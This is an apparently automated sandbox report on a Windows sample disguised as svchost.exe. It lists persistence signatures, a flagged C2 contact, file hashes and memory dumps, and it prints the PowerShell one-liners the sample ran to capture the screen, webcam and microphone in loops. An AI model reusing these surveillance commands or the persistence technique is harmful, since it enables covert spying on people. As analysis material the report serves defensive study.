Analysis
- user interaction
yes - max time kernel
38s - max time network
38s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
22/04/2026, 12:30
General
- Target svchost.exe
- Size 77KB
- Sample260422-ppzaaae16l
- SHA256 3c914f5cd5921f0239f642dcfb113e6ee1b107206c13a69f54cf120eaa79656e
Malware Config
Signatures
- Drops startup file 5 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"1⤵
- Drops startup file
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; while($true){ $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap($bounds.Width, $bounds.Height); $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size); $path = \"$env:TEMP\\screen.png\"; $bitmap.Save($path); $graphics.Dispose(); $bitmap.Dispose(); Start-Sleep -Seconds 1; }"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; while($true){ $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap($bounds.Width, $bounds.Height); $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size); $path = \"$env:TEMP\\screen.png\"; $bitmap.Save($path); $graphics.Dispose(); $bitmap.Dispose(); Start-Sleep -Seconds 1; }"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; while($true){ $camera = [System.Windows.Media.Capture]::new([System.Windows.Media.Capture]::Device.Defaults); $bitmap = $camera.GetFrame(); $path = \"$env:TEMP\\webcam.png\"; $bitmap.Save($path, [System.Drawing.Imaging.ImageFormat]::Png); Start-Sleep -Seconds 1; }"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; while($true){ $camera = [System.Windows.Media.Capture]::new([System.Windows.Media.Capture]::Device.Defaults); $bitmap = $camera.GetFrame(); $path = \"$env:TEMP\\webcam.png\"; $bitmap.Save($path, [System.Drawing.Imaging.ImageFormat]::Png); Start-Sleep -Seconds 1; }"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "Add-Type -AssemblyName System.Windows.Media; $recorder = New-Object System.Windows.Media.MediaRecorder; while($true){ $recorder.StartRecording(); Start-Sleep -Seconds 1; $recorder.StopRecording(); $recorder.Save(\"$env:TEMP\\mic.wav\"); }"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.Windows.Media; $recorder = New-Object System.Windows.Media.MediaRecorder; while($true){ $recorder.StartRecording(); Start-Sleep -Seconds 1; $recorder.StopRecording(); $recorder.Save(\"$env:TEMP\\mic.wav\"); }"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
57C8EDB95DF3F0AD4EE2DC2B8CFD4157
8B2B9A00839EED1DFDCCC3BFC2F5DF12
B46811C17859FFB409CF0E904A4AA8F8
57C8EDB95DF3F0AD4EE2DC2B8CFD4157
8B2B9A00839EED1DFDCCC3BFC2F5DF12
B46811C17859FFB409CF0E904A4AA8F8
ModuleAnalysisCache
__PSScriptPolicyTest_d1pcvszw.mmy.ps1
screen.png
svchost.exe
victim_id.txt
memory/2892-9-0x00000126692E0000-0x000001266938F000-memory.dmp
memory/2892-10-0x0000012669410000-0x000001266941C000-memory.dmp
memory/2892-8-0x00007FF655670000-0x00007FF655689000-memory.dmp
memory/3528-79-0x000001F81CFD0000-0x000001F81CFE2000-memory.dmp
memory/3528-78-0x000001F81E810000-0x000001F81E8BF000-memory.dmp
memory/3528-77-0x000001F81CF80000-0x000001F81CF8C000-memory.dmp
memory/3724-72-0x0000020577FA0000-0x000002057804F000-memory.dmp
memory/3724-73-0x0000020577F60000-0x0000020577F72000-memory.dmp
memory/3724-71-0x0000020576220000-0x000002057622C000-memory.dmp
memory/4876-74-0x000001F29E770000-0x000001F29E77C000-memory.dmp
memory/4876-76-0x000001F29ECE0000-0x000001F29ECF2000-memory.dmp
memory/4876-75-0x000001F2B6D40000-0x000001F2B6DEF000-memory.dmp
memory/4876-47-0x000001F2B6E90000-0x000001F2B6EB2000-memory.dmp
memory/5176-13-0x000001F4DC9E0000-0x000001F4DC9EC000-memory.dmp
memory/5176-66-0x00007FF655670000-0x00007FF655689000-memory.dmp
memory/5176-12-0x000001F4DC8E0000-0x000001F4DC98F000-memory.dmp
memory/5176-11-0x00007FF655670000-0x00007FF655689000-memory.dmp